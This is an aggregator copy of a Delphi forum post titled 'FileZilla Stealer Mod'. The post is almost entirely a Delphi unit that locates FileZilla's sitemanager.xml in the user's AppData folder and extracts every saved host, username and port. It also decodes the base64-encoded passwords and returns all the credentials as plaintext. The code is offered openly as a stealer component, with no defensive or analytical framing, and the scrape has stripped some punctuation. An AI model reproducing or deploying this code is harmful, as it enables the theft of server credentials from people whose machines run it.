Quantcast
Channel: Delphi Forum - Delphi Programming Kings of Code - Delphi Programming
Viewing all articles
Browse latest Browse all 173

FileZilla Stealer Mod

$
0
0
 
PHP Code:
(**************************************
 
Coded by GAKH
 Credits
steve10120
 www
.ic0de.org
 mod by zXuS
/2015
 
**************************************)
// Mod for updated version of filezilla
// it now uses base64 and sitemanager.xml
// search for new string then decode it with EncdDecd
unit zXFileZilla;
 
interface
 
uses
Windows
SysUtilsClassesEncdDecdShlObj;
 
function 
GetFileZilla String;
 
implementation
 
function GetAppDataPath String;
var
  
ppIDPItemIdList;
  
szBuff: array[0..255of Char;
begin
  
if SHGetSpecialFolderLocation(0CSIDL_APPDATAppID) = NOERROR then
  begin
    SHGetPathFromIDList
(ppIDszBuff);
    
Result := szBuff;
  
end;
end;
 
function 
GetFileZilla String;
var
LoadFile TStringList;
DataFile TStringList;
 
Host String;
User String;
Pass String;
Pass2 String;
Port String;
 
begin
LoadFile 
:= TStringList.Create;
DataFile := TStringList.Create;
 
if 
FileExists(GetAppDataPath '\FileZilla\sitemanager.xml'then
begin
LoadFile
.LoadFromFile(GetAppDataPath '\FileZilla\sitemanager.xml');
 
while (
Pos('<Host>'LoadFile.Text) <> 0) do
begin
// Hostname
Host := Copy(LoadFile.TextPos('<Host>'LoadFile.Text)+6Length(LoadFile.Text));
Host := Copy(Host1Pos('</Host>'Host)-1);
LoadFile.Text := StringReplace(LoadFile.Text'<Host>'' ', [rfIgnoreCase]);
 
//Username
User := Copy(LoadFile.TextPos('<User>'LoadFile.Text)+6Length(LoadFile.Text));
User := Copy(User1Pos('</User>'User)-1);
 
// Password
Pass := Copy(LoadFile.TextPos('<Pass encoding="base64">'LoadFile.Text)+24Length(LoadFile.Text));
Pass := Copy(Pass1Pos('</Pass>'Pass)-1);
 
// Port
Port := Copy(LoadFile.TextPos('<Port>'LoadFile.Text)+6Length(LoadFile.Text));
Port := Copy(Port1Pos('</Port>'Port)-1);
Pass2 := decodestring(pass);
 
DataFile.Add('Host: ' Host ' Port: ' Port ' User: ' User ' Pass: ' Pass2);
end;
Result := DataFile.Text;
end else
Result := 'Not found or older version!';
end;
 
end

 

Viewing all articles
Browse latest Browse all 173

Trending Articles



<script src="https://jsc.adskeeper.com/r/s/rssing.com.1596347.js" async> </script>